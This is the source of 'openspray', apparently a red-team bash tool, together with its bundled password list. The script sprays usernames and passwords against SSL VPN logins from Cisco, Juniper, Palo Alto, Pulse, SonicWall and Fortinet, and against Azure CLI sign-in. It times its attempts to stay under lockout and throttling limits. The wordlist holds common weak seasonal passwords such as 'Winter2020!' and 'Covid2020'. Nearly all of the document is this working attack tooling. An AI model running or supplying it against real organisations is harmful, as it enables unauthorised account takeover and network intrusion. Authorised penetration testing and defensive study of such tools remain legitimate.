├── openspray └── passwords /openspray: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | display_usage() { 3 | echo -e "Use \`script\` to log output to file!\n" 4 | echo -e "script -c \"openspray -f usernames -b passwords -s :4433 -d -v ne -t 15\" openspray.log\n" 5 | 6 | 7 | echo -e "Usage:\nopenspray [options]" 8 | echo -e "\nsudo apt-get install openconnect" 9 | 10 | echo -e "\nOptional addon for SonicWall" 11 | echo -e " wget https://software.sonicwall.com/NetExtender/NetExtender.Linux-10.2.816.x86_64.tgz" 12 | echo -e " tar xvzf NetExtender.Linux-10.2.816.x86_64.tgz" 13 | echo -e " apt-get update" 14 | echo -e " apt-get install default-jre" 15 | echo -e " apt-get install ppp" 16 | echo -e " cd netExtenderClient" 17 | echo -e " ./install" 18 | echo -e " Set pppd to run as root [y/n]? y" 19 | echo -e " export PATH=\":\$PATH\"" 20 | 21 | echo -e "\nOptional addon for Fortinet" 22 | echo -e " apt-get install openfortivpn" 23 | echo -e " https://github.com/adrienverge/openfortivpn\n" 24 | 25 | echo -e "\nOptional addon for Azure CLI" 26 | echo -e " curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash\n" 27 | 28 | echo -e "-h, --help\t\tDisplay help text" 29 | echo -e "-f\t\t\tSet username file" 30 | echo -e "-p\t\t\tSet password to spray; consider using included password file; replace where appropriate" 31 | echo -e "-b\t\t\tSet password file to spray" 32 | echo -e "-s\t\t\tVPN Server" 33 | echo -e "\t[server[:port]] for SonicWall NetExtender VPN or Fortinet VPN" 34 | echo -e "-d\t\t\tSonicWall VPN Domain (default=LocalDomain)" 35 | echo -e "-a\t\t\tOpenConnect authgroup" 36 | echo -e "-v\t\t\tVPN Distro" 37 | echo -e "\tanyconnect\tCisco AnyConnect SSL VPN" 38 | echo -e "\tnc\t\tJuniper Network Connect" 39 | echo -e "\tgp\t\tPalo Alto GlobalProtect SSL VPN" 40 | echo -e "\tpulse\t\tPulse Connect Secure SSL VPN" 41 | echo -e "\tne\t\tSonicWall NetExtender SSL VPN" 42 | echo -e "\tfn\t\tFortinet SSL VPN" 43 | echo -e "\taz\t\tAzure CLI" 44 | echo -e "\n-t\t\t\tSet sleep time between sprays (basic sleep commands; 5 = 5 seconds; Fortinet/Azure-CLI should sleep for minimum of 30 seconds to avoid throttling threshold)" 45 | echo -e "-c\t\t\tpin-sha256 hash from server; argument shaped like: -c pin-sha256: (not required for ne)" 46 | echo -e "\t\t\t\tValue obtained from \`openconnect --servercert=1234\`" 47 | echo -e "\t\t\t\tFortinet formattted like: -c \n" 48 | echo -e "-r\t\t\tSet password as username: true. Default: false" 49 | } 50 | 51 | # if less than two arguments supplied, display usage 52 | if [ $# -le 1 ] 53 | then 54 | display_usage 55 | exit 1 56 | fi 57 | 58 | # check whether user had supplied -h or --help . If yes display usage 59 | if [[ ( $# == "--help") || $# == "-h" ]] 60 | then 61 | display_usage 62 | exit 0 63 | fi 64 | passAsUser="false" 65 | password="" 66 | domain="LocalDomain" 67 | while getopts 'f:p:b:s:v:t:c:r:d:a:' option 68 | do 69 | case "${option}" 70 | in 71 | f) file="${OPTARG}";; 72 | p) password=${OPTARG};; 73 | b) password_file=${OPTARG};; 74 | s) server=${OPTARG};; 75 | v) protocol=${OPTARG};; 76 | t) sleeep=${OPTARG};; 77 | c) cert=${OPTARG};; 78 | r) passAsUser=${OPTARG};; 79 | d) domain=${OPTARG};; 80 | a) ag=${OPTARG};; 81 | esac 82 | done 83 | 84 | if [ -z ${ag+x} ]; 85 | then 86 | authgroup="" 87 | else 88 | authgroup="--authgroup=${ag}" 89 | fi 90 | 91 | if [ -z ${cert+x} ]; 92 | then 93 | forticert="" 94 | else 95 | forticert="--trusted-cert=${cert}" 96 | fi 97 | 98 | 99 | RED='\033[0;31m' 100 | NC='\033[0m' 101 | WHITE='\033[0;36m' 102 | BLUE='\033[0;34m' 103 | GREEN='\033[0;32m' 104 | 105 | echo -e "${RED}###################${NC}" 106 | echo -e "${RED}Starting OpenSpray!${NC}" 107 | echo -e "${RED}###################${NC}" 108 | if [ "$passAsUser" == "true" ]; 109 | then 110 | echo -e "${BLUE}Spraying username as password${NC}" 111 | for i in `cat $file` 112 | do 113 | echo -e "${GREEN}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%${NC}" 114 | echo -e "${WHITE}User: " $i "${NC}" 115 | 116 | if [ "$protocol" == "ne" ]; 117 | then 118 | yes Y | netExtender -u $i -p $i -d $domain $server 119 | 120 | elif [ "$protocol" == "fn" ]; 121 | then 122 | openfortivpn $server -u $i -p $i $forticert 123 | elif [ "$protocol" == "az" ]; 124 | then 125 | az login -u $i -p $i 126 | else 127 | echo $i | sudo openconnect $server --user=$i --passwd-on-stdin --protocol=$protocol --authenticate --servercert $cert $authgroup 128 | fi 129 | 130 | echo -e "${GREEN}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%${NC}" 131 | printf "\n\n\n" 132 | sleep $sleeep 133 | done 134 | else 135 | if [ -n "$password_file" ]; then 136 | echo -e "${BLUE}Spraying VPN with password file${NC}" 137 | for j in `cat $password_file` 138 | do 139 | for i in `cat $file` 140 | do 141 | echo -e "${GREEN}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%${NC}" 142 | echo -e "${WHITE}User: " $i " Password: " $j "${NC}" 143 | 144 | 145 | if [ "$protocol" == "ne" ]; 146 | then 147 | yes Y | netExtender -u $i -p $j -d $domain $server 148 | 149 | elif [ "$protocol" == "fn" ]; 150 | then 151 | openfortivpn $server -u $i -p $j $forticert 152 | elif [ "$protocol" == "az" ]; 153 | then 154 | az login -u $i -p $j 155 | else 156 | echo $j | sudo openconnect $server --user=$i --passwd-on-stdin --protocol=$protocol --authenticate --servercert $cert $authgroup 157 | fi 158 | 159 | echo -e "${GREEN}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%${NC}" 160 | printf "\n\n\n" 161 | sleep $sleeep 162 | done 163 | echo -e "${BLUE}Sleeping for 5 minutes before next run${NC}" 164 | sleep 5m 165 | done 166 | else 167 | echo -e "${BLUE}Not spraying username as password${NC}" 168 | for i in `cat $file` 169 | do 170 | echo -e "${GREEN}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%${NC}" 171 | echo -e "${WHITE}User: " $i " Password: " $password "${NC}" 172 | 173 | if [ "$protocol" == "ne" ]; 174 | then 175 | yes Y | netExtender -u $i -p $password -d $domain $server 176 | elif [ "$protocol" == "fn" ]; 177 | then 178 | openfortivpn $server -u $i -p $password $forticert 179 | elif [ "$protocol" == "az" ]; 180 | then 181 | az login -u $i -p $password 182 | else 183 | echo $password | sudo openconnect $server --user=$i --passwd-on-stdin --protocol=$protocol --authenticate --servercert $cert $authgroup 184 | fi 185 | 186 | echo -e "${GREEN}%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%${NC}" 187 | printf "\n\n\n" 188 | sleep $sleeep 189 | done 190 | fi 191 | fi 192 | -------------------------------------------------------------------------------- /passwords: -------------------------------------------------------------------------------- 1 | Welcome1 2 | Welcome1! 3 | Welcome123 4 | Welcome! 5 | Welcome2020 6 | Welcome2020! 7 | Welcome20 8 | Welcome20! 9 | Password1 10 | Password1! 11 | Password123 12 | Password! 13 | Password2020 14 | Winter2020 15 | Winter2020! 16 | Fall2020 17 | Fall2020! 18 | Autumn2020 19 | Autumn2020! 20 | Summer2020 21 | Summer2020! 22 | Spring2020 23 | Spring2020! 24 | October2020 25 | October2020! 26 | September2020 27 | September2020! 28 | August2020 29 | August2020! 30 | SummerAugust2020 31 | SummerAugust2020! 32 | FallSeptember2020 33 | FallSeptember2020! 34 | FallOctober2020 35 | FallOctober2020! 36 | 20 37 | 20! 38 | 2020 39 | 2020! 40 | 1 41 | ! 42 | 123 43 | Corona2020 44 | Corona2020! 45 | Covid2020 46 | Covid2020! 47 | maga2020! 48 | Maga2020! 49 | MAGA2020! 50 | Maga2020 51 | CoronaVirus2020! 52 | CoronaVirus2021! 53 | CoronaVirus2020 54 | CoronaVirus2021 55 | WinterDecember2020 56 | WinterDecember2020! 57 | DecemberWinter2020 58 | DecemberWinter2020! 59 | WinterJanuary2021 60 | WinterJanuary2021! 61 | JanuaryWinter2021 62 | JanuaryWinter2021! 63 | FallNovember2020 64 | FallNovember2020! 65 | NovemberFall2020 66 | NovemberFall2020! 67 | --------------------------------------------------------------------------------